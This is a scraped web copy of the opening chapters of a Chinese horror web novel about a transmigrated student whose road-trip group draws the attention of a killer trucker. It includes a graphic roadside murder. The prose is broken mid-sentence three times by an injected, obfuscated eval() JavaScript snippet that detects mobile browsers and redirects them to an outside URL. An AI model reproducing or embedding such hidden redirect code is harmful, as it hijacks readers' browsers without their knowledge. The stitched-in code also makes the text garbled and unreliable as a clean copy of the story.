《男鬼收割指南[快穿]》 1. Chapter 01 内华达州某洲际公路。 烈日灼烧着地面,远处的地平线在热浪中扭曲,昏黄的沙尘□□燥的狂风卷起,视野所及,只剩下无尽蔓延的苍黄,与空气里灼人的高温。 一辆卡车静默地停靠在路边。 一个异常高大的男人正背倚着驾驶室的门,指间夹着一支即将燃尽的烟。 他漫不经心地吸了一口,烟头的火星在昏昧光线里明灭,灰白的烟雾自鼻腔缓缓逸出,还未来得及聚拢,便被风吹散。 身后卡车的车头前,用粗绳绑着一男一女。 两人面色惨白如纸,脸上残留着清晰的殴痕与血迹。 其中一个男人艰难地抬起脸,声音嘶哑断续:“求,求求你放过我们,我们真的不是故意的……” “我们只是迷路了,看到有车就想着说不定跟着就可以找到出去的路,你饶了我们吧,所有的东西都可以给你,求你放过我们吧!” 一旁的女人也语无伦次地附和着,身体忍不住得颤抖道:“我们什么都不会说,求你了,放过我们吧。” “呵。” 男人低笑了一声,猛吸了最后一口烟,随后将烟蒂随手掷在地上,用鞋底缓缓碾熄。 他扫视了一眼车头着两个人凄惨狼狈的模样,整个人饶有兴致地说道:“按我说的去做,做到了我就放过你们。” 话音落下,男人没再给那对男女任何回应或哀求的机会,转身握住门把,利落地拉开车门,弯腰坐进了驾驶室。 男人握着方向盘,透过前窗望着那两张因恐惧而扭曲的脸,心情有些愉悦得说道:“让我看看你们能坚持多久。” 庞大的车身开始缓缓移动,轮胎碾过碎石与沙土,车头的两人因为恐惧已经开始大叫着。 卡车起初移动得很慢,慢得像是故意留给绑在车头的人最后一点反应的时间。 紧接着,速度开始加快。越来越快,越来越快。 “救命——救——” 哀求与惨叫戛然而止。 下一秒,铁链被猛然绞入高速旋转的车轮,两人像断线的玩偶般从车头被狠狠拽下,两人残破的躯体被铁链与车轮绞成不成形的肉块,一路飞滚在路面上。 卡车车轮随即碾压过某种硬物,车身明显地起伏颠簸了一瞬间很快就恢复正常了。 “这两人可真没劲啊。” 驾驶座上的男人懒洋洋地瞥了一眼后视镜里映出的那片狼藉,脸上没什么表情。 他又从抽屉里摸出一支烟,低头点燃,深深吸了一口。 随后,他随手将打火机丢回抽屉,握稳方向盘,驾驶着卡车继续朝公路深处驶去。 ————————————————— “滴滴,滴滴滴——” 一只白皙的手臂从被窝里探出来,在床头柜上摸索了两下,按停了嗡嗡作响的闹钟。 紧接着,被窝里缓缓坐起一个黑发青年。他揉着惺忪的睡眼,乌黑的发丝有些凌乱地贴在额前,整个人还浸在未散的困意里。 郗涟现在整个人困得要命,昨晚通宵赶小组作业,到现在也只睡了几小时而已。 可上午还有课,为了学分他可不能迟到。 郗涟眯着眼睛,在一片昏沉中强迫自己掀开被子,摇晃着下了床,趿拉着拖鞋走进洗手间。 他拧开水龙头,弯腰将一捧冷水泼在脸上。冰凉的水流刺激着皮肤,带来几秒短暂的清醒。 郗涟抬起头,看向洗漱台前那面有些水渍的镜子。 镜子里映出一张年轻而略显苍白的亚裔面孔。 黑发柔软地搭在额前,眉眼清秀,只是因熬夜眼下浮着淡淡的青黑,嘴唇也失了血色。 好在底子生得好,即便气色不佳,也掩不住五官间那份干净秀致的轮廓。 郗涟看向镜子里的自己,思绪不自觉地飘远了。 他并不是这个世界的人。 “上辈子”因病去世,没想到一睁眼,竟成了另一个平行世界的亚裔青年,也不知道自己怎么来到这里的。 只是更无奈的是,这个世界的他,还是个在异国漂泊的孤儿。 不过不管怎么样,居然已经来到了这个世界,自然是要好好开始自己新的生活。 郗涟用毛巾擦干脸上的水珠,将那些残留的倦意和杂乱的思绪一同按回心底。 他迅速换好衣服,背起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033424|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书包,推门走了出去。 走出宿舍楼时,不少认识或不甚熟悉的同学都主动朝他露出笑容,或点头、或抬手打个招呼。 周围一些人的目光也不自觉地停留在他身上,追随着那道纤瘦的背影渐行渐远。 上午的课程如常进行。 记笔记,偶尔回答教授的提问……直到最后一节课的下课铃声响起。 郗涟松了口气,他揉了揉有些发僵的脖颈,低头开始整理摊开的笔记和书本,拉上背包拉链。 他现在困得不行,只想尽快回到宿舍好好睡上一觉。 就在这时,两个身影带着轻松的笑意,一左一右凑到了他的课桌旁。 “嘿,涟。”先开口打招呼的,是坐在他斜前方、这学期在小组作业里合作过几次的朋克青年本。 “我们几个打算这周末开车去拉斯维加斯玩一圈,放松一下,赌两把小的,看看秀什么的。怎么样,有兴趣一起吗?人多热闹!” 本说话说这话的时候,目光不自觉地就在黑发青年的脸上多停留了几秒。 他在心里又一次忍不住暗叹:要是郗涟是个女孩该多好。 当然,就算不是,似乎也没什么不好。 毕竟他从未见过谁能像涟这样,仿佛被精心雕琢过的人偶,每一个地方都长得恰到好处。 对方明明是亚裔,却生着一副超越性别界限的容貌。 那过分精巧的眉眼与骨相,让郗涟看起来宛如易碎的东方人偶,美得不真切,甚至让人不敢久视。 “拉斯维加斯?”郗涟有些意外。 他没想到小组里的同学会主动邀请自己一起出去。 “对啊,就差你了,我们其他人都会去的!”另一位名叫凯拉的棕发女孩一脸期待地望着他。 “可以啊,”郗涟点了点头,“正好我也想出去走走。” 这似乎还是他第一次真正和同学外出游玩,心里隐约浮起一丝淡淡的期待。 “那可太棒了!人越多越热闹!”凯拉说着,顺手拍了拍郗涟的肩膀,笑容明亮,“那就这么说定啦!明天早上记得带好东西,宿舍楼下集合哦!” “嗯,好的。” 2. Chapter 02 次日清晨,阳光正好。 三人准时在宿舍楼下汇合,随后坐进了凯拉特别租借的越野车。 郗涟坐在后座,看着车子逐渐驶离熟悉的校园。 车子驶出城区后,景象瞬间开阔。 眼前是荒芜延伸的公路,左右两侧是辽阔平坦的荒野,荒野上长满枯黄坚韧的野草,一直蔓延到天边那片灰蓝模糊的交接线。 公路苍茫无垠,每个地点之间的距离都遥远得令人却步,如果没有车,那在这里简直可以谈得上是寸步难行。 这也是郗涟平日很少离开学校的主要原因。 他将车窗摇下一半,旷野的风裹挟着自由的气息涌入车内。心情也随之舒展开来,对之后的旅程生出隐隐的期待。 凯拉握着方向盘,语气轻快地说道:“我们先去和另外两个朋友汇合,人齐了就正式出发!顺利的话,明晚我们就能躺在拉斯维加斯的酒店里!” 坐在副驾的本也兴奋地扬起声音道:“没错!我都等不及了!” 郗涟听着他们的话,转头看着前排两人雀跃的侧脸,弯起了嘴角笑着说道:“拉斯维加斯,听起来就很有意思。” “是啊!”本立刻转过身来,眼睛发亮,“等到了那里,我必须给你展示一下我的超强技术!” 凯拉听到本的话,瞥对方一眼,“别废话了本,你那技术就别给涟炫耀了,而且你今天怎么这么激动啊?” “还不是太久没出去玩憋坏了嘛!” “你收敛着点,别又搞事情了。” 就在几人聊天的时候,车子在一栋住宅前缓缓停下。 郗涟望向车窗外,路边站着一个高挑的金发女孩,身旁还有个提着箱子的金发男生。 一看就知道是梅尔和波比。 两人在路边等了一会儿,见到他们的车,立刻笑着招手走近。 梅尔拉开车门钻进后座,明媚的笑容瞬间点亮了车厢:“嘿!我来啦!” 波比紧跟其后,礼貌地向车内众人点了点头,手中还提着一个便携箱。 这两人都是同学习小组的成员,郗涟笑着和他们打起招呼。 “早,波比!早,梅尔!” “早上好。” 波比晃了晃箱子,“我们准备了些饮料和三明治,如果路上饿了可以垫一垫。” “你还是这么贴心,梅尔有福了。”凯拉从后视镜里看了他一眼,笑着说道。 “我也觉得。”梅尔说着,侧过身在波比脸颊上亲了一下。 车门关上,五人说说笑笑地坐定。越野车很快启动,平稳地汇入川流不息的公路。 开了一段时间后,通往州际公路方向的车流逐渐稀疏下来。 凯拉握着方向盘,朝后视镜看了一眼:“梅尔,等会儿你跟我换一下吧,我开着有点累了。” “行啊。”后座的梅尔爽快地应声。 她此刻正和郗涟聊着天。 虽然对方是男生,可在梅尔看来,郗涟对时尚的见解很独特,每次和他聊天总能碰撞出不少灵感。 郗涟其实也有些困惑:难道自己真有当“妇女之友”的潜质吗? 波比坐在后排右侧,目光不自觉地追随着未婚妻梅尔,她总是不自觉地偏过头,低声与身旁的郗涟交谈。 他心里莫名有些泛酸,视线最终落回那个安静的黑发亚裔青年身上。 对方皮肤白皙,眉眼安静,自带一股抓人的沉静,五官精致得像是陈列在玻璃柜里的东方瓷偶。 不过对方看起来应该构不成什么“威胁”。 相反,郗涟这种长相恐怕很难找到女朋友吧? 波比若有所思地收回视线,心里那点莫名的酸意也淡了些。 又过去了好几个小时,越野车仍在公路上单调地行驶。 漫长的路途让车内众人都有些昏昏欲睡。 副驾驶的本看了眼地图,距离最近的落脚点还有几百里,至少还得熬上好几个小时。 他开始有些无聊地四处打量—— 郗涟正靠在车窗翻看着地理杂志;梅尔正整理着自己的包包;而右侧的波比双手抱臂闭目养神。 本想了想突然侧过身看向郗涟和梅尔,他压低声音道:“要不要找点乐子?” 梅尔皱起眉头瞥了他一眼:“你在开玩笑吗?在这里?” “这有什么,看我的。” 只见本伸手取下中控台上挂着的无线电台对讲机,熟练地调到公共频道,清了清嗓子:“哈喽~哈喽~有人能告诉我前面有条子吗?” 凯拉握着方向盘,余光瞥了眼本。 这家伙到底在搞什么? 过了几秒,电台里竟真的传来一个陌生男人的声音:“没,不过185公路60英里处倒是有一个。” “听到了吗?我们可以飙一段了!别犹豫,加速直接开!”本顿时兴奋起来。 “别了吧,这老车可经不起这样。” 就在这时,频道里又有其他人插话,“今晚会下大雨,如果躲在车子里无所谓......可惜今晚会下大雨,会有很多人不出门……” “这哥们怎么了……”本嘀咕了一句,随即眼睛一亮,“对了!” 他从车载抽屉里翻出一个坏掉的指南针,转身对大家晃了晃:“来玩真心话大冒险吧?指针转到谁,谁就接受挑战。大冒险的内容我已经想好了,就用公共电台搞点节目。” 本闹出的动静已经吵醒了波比。 “玩不玩波比?” “波比揉了揉惺忪的眼睛,点了点头:“行吧。” 郗涟其实对这个游戏不太感兴趣,但看着梅尔和波比都答应了,也只好跟着应道:“嗯。” “那就让我们看看第一个挑战者是谁吧。”本随手转动指针。 郗涟不自觉地向前倾身,盯着那微微颤动的指针。没想到它晃晃悠悠转了几圈,最终不偏不倚,正好停在了自己面前。 郗涟:“!” “没想到第一位选手是涟!”本笑着将无线电台上的对讲机塞到郗涟手里,“说点什么,随便什么都行。” 郗涟有些犹豫地看了看本,又看向其他几人,低声问道:“能举个例子吗?” 本对着郗涟挑了挑眉,用口型无声地说道:“学学我。” 随即突然夹起嗓子,对着对讲机发出一串矫揉造作的怪声:“好无聊啊~有没有人能来陪陪我~” 说完便关闭对讲机,一把将其塞进郗涟手中,压低声音怂恿道:“该你了!压低声音,假装是女孩跟他们聊天e on,别害羞啊!” 驾驶座上的凯拉听着本的夹子音,笑得肩膀直颤。因为双手还握着方向盘,她只能抿住嘴唇,强忍着不敢笑出声来。 一旁的梅尔则直接笑出声来。 波比显然也没想到本还有这门“绝技”,表情颇为意外。 郗涟清了清嗓子,略显生硬地学着刚刚本的语气,对着对讲机小声接话:“嘿~你怎么了?” 说完似乎觉得尴尬,又迅速把对讲机塞回给本。 梅尔略带惊讶地挑眉,没想到郗涟压低声音后,听起来还真有几分像那么回事。 这时,指针转向了梅尔。 梅尔接过对讲机整个人立刻进入状态,无缝衔接上之前的剧情,声音夸张而甜地说道:“哦~是小甜甜!我没想到你真的来找我玩~” 郗涟整个人听得头皮发麻。 他没想到梅尔竟能如此自然地接上这话,而且见鬼的是为什么说话还要带上咏叹调?! 一旁的波比也睁大了眼睛,一脸难以置信地看向梅尔。 本对梅尔的即兴表演十分满意,兴奋地一拍大腿:“就是这样!完美衔接!” “继续,继续。” 与此同时,指针又转向了郗涟。 郗涟:“……”看大家笑得这么开心,他也只好配合玩下去。 他接过对讲机,硬着头皮努力让语气听起来轻松自然:“当然了。毕竟你叫我来,我肯定要来的,公主~” 前排的凯拉和梅尔早已笑得前仰后合,连波比都忍不住别过脸去闷笑。 就在他们扮演的正嗨的时候,电台里冷不丁传来一个陌生男人的声音。 那声音低沉沙哑,一本正经地接上了他们荒诞的玩笑:“小甜甜?” 郗涟握着对讲机的手顿了一下,他完全没料到公共 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033425|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 频道里会有人回应这种胡闹。 他一脸疑惑地看着身旁的几人,口语说道:“真的有人!” 本立刻朝郗涟挑了挑眉,用口型无声地催促:无所谓,我们继续!等等!让他加入我们吧。 “……认真地?”郗涟觉得几个人自己玩玩还行,加上陌生人就太尴尬了…… 可看其他人都同意了本的想法,他也只好重新打开麦克风,压低声音试探道:“嘿,你是谁?” 几秒的寂静后,电台那头传来一道低沉而清晰的声线:“你可以叫我锈铁钉。” “锈铁钉?”郗涟皱着眉头,这是对方的代号吗? 正在开车的凯拉早已竖起耳朵,此时立刻压低声音难掩兴奋地怂恿道:“涟,继续问下去呀。” 郗涟一时语塞,下意识地朝同伴们投去求助的目光:“这时候我该怎么接?要不你们来吧。” “没事,你就说‘好累啊,要是现在能有个地方落脚就好了’……” 凯拉眼盯着前方的路面,嘴里却飞快地出着主意,嘴角已经控制不住地向上扬起,“快!就这么说!” “你拿着对讲机,你直接说吧。”本也顺势附和。 郗涟只好打开麦克风,捏起嗓子,依样画葫芦地将那句话复述了一遍。 或许是渐渐进入了状态,他甚至还即兴发挥地追问道:“锈铁钉,你现在在哪里?” “嗯哼,为什么这么问?”电台那头传来带着笑意的回应。 本一脸恨铁不成钢地用口型无声催促:“来点劲爆的!直接点!” “我,我……” 郗涟在众人灼灼目光的注视下,难为情地接话,声音越来越小,“我不想一个人,我好寂寞啊……我可以去找你吗?锈铁钉。”说完他立刻关掉了对讲机,耳根瞬间红透。 车内顿时爆出一阵哄笑。 郗涟整个人有种无地自容的感觉,这也太羞耻了! 本拍着大腿连连叫好,直嚷着“有天赋!有天赋!”,梅尔也笑得歪倒在座位上,肩膀抖个不停。 就在这时,对讲机的指示灯再次亮起。 那个低沉的男声不紧不慢地传来,“是吗?可你那边听起来不像是一个人。” 几人笑声戛然而止。 车内瞬间陷入一片诡异的寂静。 连本也愣了一下,显然没料到对方会这样反问。 不过他很快就回过神,压低声音分析道:“可能只是正常询问,你别慌,继续吊着他。” “已经被发现了,要不然我们干脆结束这个游戏吧。”郗涟忍不住说道。 他实在是太尴尬了,郗涟他感觉自己的脸已经热得不行。 “别呀,一般这种人在意你身边有没有人,说明越对你感兴趣,”本凑近郗涟继续怂恿道,“这个时候你就得若即若离,让他琢磨不透。” 郗涟:“……” 听着好像是这样,但你怎么这么懂啊? 他听着本怂恿的话,看着身旁几人满是期待的眼神……见鬼,为什么是他来! 郗涟只好硬着头皮重新打开对讲机,他下意识压低声音,努力让语气听起来自然,“那、那都不重要……重要的是,我现在最想见的人是你。难道你不想见到我吗?” 郗涟一口气说完后,整个人彻底松了口气,他这辈子都没和陌生人说过这么肉麻的话,真的太羞耻了!! “不错嘛,郗涟!” “有戏有戏!我也来我也来!” 就车内几人嬉笑打闹的时候,电台的另一边—— 男人指间夹着烟,眉梢微挑,眼底掠过一丝不耐。 又是哪个不知死活的猪猡接着电台恶搞? 不过他能听得出来,对方应该是第一次用电台。毕竟那声音绷得又紧又抖,跟只兔子似的。 锈铁钉随手捞过一旁的笔记本电脑,屏幕幽光映亮他半边下颌。 他瞥了眼电台信号分布图,附加信息显示,信号源附近确实有一辆小轿车,而且幸运的是信号位置离他并不远。 “小甜甜……呵。” 锈铁钉将烟蒂弹出窗外,紧接着他转动方向盘,驾驶着卡车朝信号源的方向驶去。 3. Chapter 03 就在几人笑闹成一团时,凯拉瞥了一眼窗外说道:“朋友们,我们快到汽车旅馆了。” 郗涟听着凯拉的话,透过车窗注视着不远处逐渐逼近的旅馆。 那旅馆的外墙已经有些褪色和脱皮,甚至还露出了灰白色的墙体,看起来很是破旧。 反正怎么看都不像有生意的样子。 等凯拉将车子停稳后,几人陆续推开车门下了车。 梅尔皱起眉,一脸嫌弃地看着旅馆:“天,这房子也太破了吧?也不知道里面干不干净。” 一旁的凯拉耸了耸肩,“这路段也就几家旅馆,只能希望里面环境能好点,不然我们还得往前开,去前面那家碰碰运气。” “啧,要不我们干脆继续开,直接去下一家旅馆看看?”梅尔说着看向其他几人,她实在是不太想住这里,天知道睡觉的时候会不会遇到老鼠什么的。 “没事的,既然已经来了我们先过去看看吧。”波比倒是无所谓,反正只是暂住而已。 “走吧走吧,我们过去瞧瞧。” 就在几人交谈的时候,一辆高大的卡车毫无征兆地从后方猛冲过来,几乎擦着他们几人的身体呼啸而过! 强劲的气流将本带得向后一个踉跄,他脚下一滑,险些摔倒在地。 “嘿!你特么的是瞎了眼吗?!”本踉跄着稳住身子,冲着那辆早已绝尘而去的卡车尾灯,愤怒地破口大骂起来。 郗涟原本下意识地想上前,安慰仍在气头上的本。 可话还没出口,一股莫名的不安感却陡然攫住了他。 郗涟有些茫然地停下脚步,警惕地环顾起四周。 这附近的停车场里,不少卡车司机正陆续发动引擎,准备驶离。 那些高大的卡车驾驶室内光线昏暗,阴影模糊了司机的面容,根本分不清目光究竟来自哪里。 郗涟暗自安慰自己:大概是东方面孔在这里太少见了吧。在这个年代的美国西部,亚裔的确并不常见,引人注目些也是正常的...... 尽管如此,那股如芒在背的异样感还是没有散去。 “Fake!这些乡下佬真是毫无素质,”本皱紧眉头,用手在鼻前扇了扇风,语气里充满毫不掩饰的厌恶,“走吧走吧,这里到处都是灰尘,难闻死了。” 郗涟注意到不少正站在路边抽烟的卡车司机似乎听到了本的议论,目光不善地看了过来,连忙低声劝阻:“本,别这样说......” 本的心情糟透了,这可他想象中的旅途不一样。 “知道了!”他一脸不爽地踢开脚边的空罐子,眉头皱得死紧。 一行人走到汽车旅馆门口时发现大门紧锁。 波比无奈地叹了口气,说道:“没想到居然关门了,不过那边有家餐馆,我们先去吃点东西吧,我抽空看看附近还有没有旅馆给我们歇脚。” “看来只能这样了。”梅尔倒是松了一口气,还好这旅馆没开,她可一点也不想住进去。 几人只好转身,朝着不远处那家人流不少的餐馆走去。 他们刚推开玻璃门,温暖嘈杂的空气和浓郁的食物香气便扑面而来。 几乎是同时,郗涟就发现餐馆里正在用餐的人,几乎都转过头,目光齐刷刷地落在了他们身上。 服务员艾琳正倚在柜台边。 门开时她习惯性地抬头招呼,目光扫过这一行人,最后落到了中间的那位亚裔青年上。 艾琳惊讶地挑了挑眉。 她在这餐馆工作了不短时间,还是第一次见到长得比电视里的明星还要精致好看的男人。 这一伙人颜值都不低,但那个黑发亚裔青年实在太过惊艳,让人根本无法移开视线。 “这边请。” 艾琳很快就反应过来,从桌面拿起点餐板,朝郗涟一行人笑了笑,将他们带到靠窗的一处餐桌旁。 越是靠近,那份冲击力就越是强烈。 那黑发青年的皮肤白皙得近乎透明,几乎看不见毛孔,五官的比例精确得如同艺术家的杰作。 艾琳在心里暗暗惊叹:这真是完美得有些不真实。 “嘿,看看要吃点什么。”她将菜单递到他们面前,目光却忍不住多瞥了郗涟两眼。 “谢谢,就来点这些吧。”郗涟礼貌地低声回应,随意指了指菜单上的几道菜。 等待上菜的时间里,斜对面的本又活跃起来。他声音拔高,不断抛出些粗鲁又自以为幽默的言论,时而夹杂着夸张的手势和毫不收敛的笑声。 郗涟看了本一眼,他可真有精力。 除了凯拉偶尔会跟着干笑两声,其他几人根本不觉得有什么好笑的。 郗涟甚至觉得很烦,他将视线转向窗外,试图屏蔽掉那些恼人的噪音。 梅尔似乎察觉出郗涟兴致不高。 从去年郗涟转学来到这里,她几乎就没怎么见他离开过学校周边。 好不容易大家一起出来玩,梅尔还是想让郗涟开心一点。 “别担心,吃完我们就撤。估计会去公路边的汽车旅馆住一晚,那边晚上还有小酒吧,我们可以去玩玩。” 郗涟见梅尔主动聊起行程,顺势接过了话头,微微笑了笑:“嗯,体验一下也好。” 本见到郗涟和梅尔聊得投入,完全无视了自己说话,忍不住插话,“嘿,说到酒,我可是高手哦~要不要约一杯?涟。” “真的吗?”凯拉有些不信。 先前和本出去玩,他整个人喝得昏昏沉沉的,还是她送他回去的! 既是为了在朋友面前挣足面子,更是咽不下刚才那口气,本立刻挺直腰板,声音扬高了几分,像是要确保周围每桌都能听清:“怎么?反正我比在场的人都要强。” 他刻意环视了一圈周围几桌穿着工装、身材粗壮的卡车司机,抬了抬下巴,语气里满是毫不掩饰的讥讽: “瞧瞧,我们这是被‘公路之王’们给包围了啊。” 波比原本还在低头看地图,听到本的话心头一紧,压低声音试图制止道:“别说了,他们又没惹你。” 在外面随口说说也就算了,现在人家正主可都在场,这家伙简直是在往火堆里跳。 “哦?我当然知道,”本非但没收敛,反而变本加厉,“毕竟这帮人不过是一群只会开快车的瘾君子,顺便指望着能泡上个带病的——” “本!安静点行不行?!”波比看着周围投来越来越多不善的目光,急忙用手肘重重撞了他一下。 “Wow~安静点~”本挑起眉毛,挑衅地看着波比。 梅尔有些尴尬地用手遮掩了一下自己的脸。 郗涟彻底无语了,这家伙现在在干什么? 原本他们这一桌的人就已经吸引了不少注意力,现在本又不断耍嘴炮,感觉所有人都在注视着他们这桌。 被波比打断后,本倒是收敛了不少。 不知道是因为那口气终于顺了下去,还是单纯因为服务员正好端上了热气腾腾的菜肴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033426|194585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郗涟尝了一口,眼中闪过惊讶。 其他几人也都有些不敢相信,没想到在这样一家路边餐馆做的味道还蛮不错的。 大家不约而同地安静下来,认真地品尝起眼前的美味。 就在几人用餐的时候,餐馆后方正停车一辆卡车。 驾驶室内,一个高大的男人正懒洋洋地靠在椅背上,视线盯着靠窗的亚裔身上。 他看着那张清隽的侧脸,整个人不名由来的感到兴奋。 “小甜甜……” 男人低声念着这个称呼,舌尖抵着齿根,心尖像被羽毛不轻不重地挠了一下。 他下意识摸出烟盒,叼出一根烟,紧接着用点火器点燃,不知道想到了什么锈铁钉兴奋地吸了一口烟,但很快又将烟雾吐出,那灰白的烟雾在眼前弥漫、升腾,将整个驾驶室内笼上一层薄纱,却又消散在空气中。 锈铁钉的目光穿透前车玻璃,紧盯着青年的侧脸。 他下意识又吸了好几口烟,可那股从心底烧起来的燥热怎么都压不下去。 他越看对方越觉得青年可爱得让人牙痒。 特别是对方那副恼羞成怒却又要强装冷静的小表情,光是看着,锈铁钉就觉得特别来劲! 锈铁钉原本想着,如果是一群不知死活的蠢货,他不介意顺手送他们一点终身难忘的教训! 但是谁能想到,小甜甜还真的就是小甜甜。 正在用餐的郗涟,心里莫名地有些发毛。 他有些不安地环顾四周,想看看到底是什么原因。 波比看着郗涟神色不太对,诧异道:“涟,你怎么了?” “没什么,就是有点吃不下去了。”郗涟笑了笑,将刀叉放下,怕波比继续追问,立刻补了一句:“不过这家牛排确实很好吃。” 万一是自己的错觉影响大家心情就麻烦了。 身旁的梅尔听着郗涟的话,也跟着感叹:“虽然这餐馆破了点,但菜真的不错。” “还行吧,好在能填饱肚子。”本擦了擦嘴,情绪也平复了不少。 “行了,先别抱怨了,本。我先过去结账,你们在车上等我吧。”波比站起身,拍了拍他的肩膀。 “ 嗯。” 本应了一声,心里却有些不爽,波比总是教育他是几个意思? 其他几人没在意本的臭脸,各自简单收拾了随身物品。等波比结完账,便一同走出餐馆,回到了车上。 郗涟离开时,下意识回头看了一眼餐馆,那道如影随形的视线又消失了。 难道真的是错觉? 这个念头刚浮起,就被本在前面的催促声给打断了。 “我们到底什么时候才能到汽车旅馆?我已经有点累了。” 郗涟:“……” 这家伙什么都没干,从出发开始嘴就没停过,这会儿倒喊起累来了。 正准备启动汽车的凯拉一脸无语地瞥了眼身旁的本。 她叹了口气,转动方向盘,驾驶着车子缓缓驶离停车场:“我们往前开,到下个路段的汽车旅馆看看。不过还得开几个小时,咱们加速争取下午前赶到吧。” “希望吧,我已经有点累了。” 几人交谈间,车子已经缓缓地驶上了公路。 郗涟靠在车窗看着窗外的风景,梅尔和波比则是说着悄悄话,本则靠着椅背盯着前车窗发起了呆。 他们没有注意到的是,车后不远处,一辆重型卡车正不紧不慢地跟了上来。 4. Chapter 04 车子沿着公路行驶了一段时间。 就在几人有说有笑时,车身突然猛地一顿,紧接着彻底熄火直接停在了荒芜的公路上。 凯拉皱着眉头尝试了好几次点火,但车哼哼了几声后一点启动的迹象也没有。 后排的郗涟有些诧异地问道:“凯拉,怎么了?” 凯拉一脸尴尬地看向大家:“好像,好像抛锚了。” 众人:“?” 本整个人都无语了,他不爽地说道:“凯拉,你出发的时候都不检查一下车吗?” 凯拉原本有些沮丧的心情因为本的话直接转变了:“车我找,路我开,现在车子坏了就怪我?” “行了,本、凯拉,我们先冷静点吧。”郗涟连忙出声,试图控制住火药味越来越重的两人,平时明明玩得挺好,怎么一遇到事就炸。 “是啊,现在吵也没什么意义。”波比接过话,紧接着将车门打开主动走下去去检查引擎。 其他几人也下车,站在空旷无人的公路旁。 郗涟抬手遮挡着刺眼的阳光,内心涌起一阵无力。 放眼望去,周围是连绵无际的荒野和一条消失在视野尽头的路面。 波比打开引擎盖检查,发现发动机的连接线在接口处断了,麻烦的是,这玩意儿连修都不好修。 他看向大家建议道:“要不我们往前走走,看看能不能遇到路过的车?” “那也只能这样了。” 几人从车子后备箱拿出自己的行李,因为是短途,大家带的都不多,郗涟背上自己的包跟了上去。 一行人开始沿着公路边缘徒步前行。 走了很久,久到郗涟整个人都开始感到吃力。 郗涟几乎是靠着意志力在挪动脚步,他已经很久没走过这么远的路了。 更要命的是,他掏出手机看了一眼,屏幕左上角显示着无服务。 尽管郗涟内心有些慌张,不过好在几个朋友都在身边,内心的不安感消散了不少。 “唉,我们到底要走多久啊?”本的心情从未这么糟糕过。 就在他几乎想要放弃时,视野尽头出现了一栋孤零零的建筑。 “那边是不是有栋房子?” “走,过去看看!” 一行人加快脚步走了过去,推开锈蚀的铁网门。 眼前是一栋老旧的房屋,旁边连着一座看起来像是仓库或车库的附加建筑。 这里以前似乎是个汽车维修厂。 “有人吗?”波比喊了一声,无人回应。 梅尔在门口瞥见地上散落着一个电费计费单,拾起一看,封皮上的日期显示是一个月前。 郗涟早已累得瘫坐在门廊的旧木椅上,整个人像被抽走了力气,连指尖都懒得再动一下。 本按捺不住好奇心,独自绕着建筑外围闲逛。 走到房子后方,见周围没人,他干脆捡起一个石头直接砸碎一扇窗户,翻进了屋内。 就在凯拉四处张望寻找本的踪影时,屋内突然传来了本惊恐的叫喊! “救命!救救我!” 波比想都没想,猛地抬脚踹开房屋的门毫不犹豫地冲了进去。 梅尔、凯拉和郗涟也神色紧张地紧跟其后。 就在这紧绷的时刻,本突然从走廊阴影里蹦跶着跳了出来,脸上挂着恶作剧得逞的大大笑意:“哈哈哈!吓到了吧!你们也太呆了吧!” 除了凯拉噗嗤一下笑出声,其他人都露出了不同程度的不满。 波比整个人都非常恼火。 他居然为了这种玩笑把人家的大门给踹坏了!他真服了! 郗涟也无语。 他算是看明白了,本就是纯粹想吸引大家的注意力。 郗涟无视了本浮夸的表演,转而打量起这个屋子。 屋内异常陈旧,家具蒙着厚厚的灰尘,空气中弥漫着浓重的霉味和粉尘的气息。 这房子看起来已经很久没人住了。 郗涟蹙着眉重新坐回屋外的长椅上。 就在这个时候,那股强烈的被注视感又出现了! 郗涟警惕地环顾四周,周围只有连绵起伏的荒芜山谷,没有其他人的存在,就好像那种感觉只是自己的错觉。 “嘿!嘿!快过来瞧瞧我发现了什么!”本不知道什么时候跑到了车库前,提高声音朝着他们喊道。 郗涟闻声跟着几人走了过去,刚踏进车库,一股混杂着铁锈和尘埃的沉闷气味便扑面而来。 下一秒,他整个人瞬间僵住。 天花板上垂挂着不少沉重的铁链,墙壁上则挂满了各式各样形状奇怪的“工具”。 郗涟看着这些工具莫名其感觉到一阵恶寒,这个地方太奇怪了,弥漫着一种说不出来的压抑和恐怖。 毕竟那个车库里会挂着这些奇怪的道具?郗涟甚至看见其中一条铁链的末端,正缓缓往下滴着液体。 其他人并没有像郗涟那样感到不安。 他们甚至觉得这地方挺有意思,主动翻看起桌台上那些形状各异的道具。 凯拉拿起一把铁锯,对着光看了看:“你们瞧,这锯子上怎么还有粘稠的液体。” 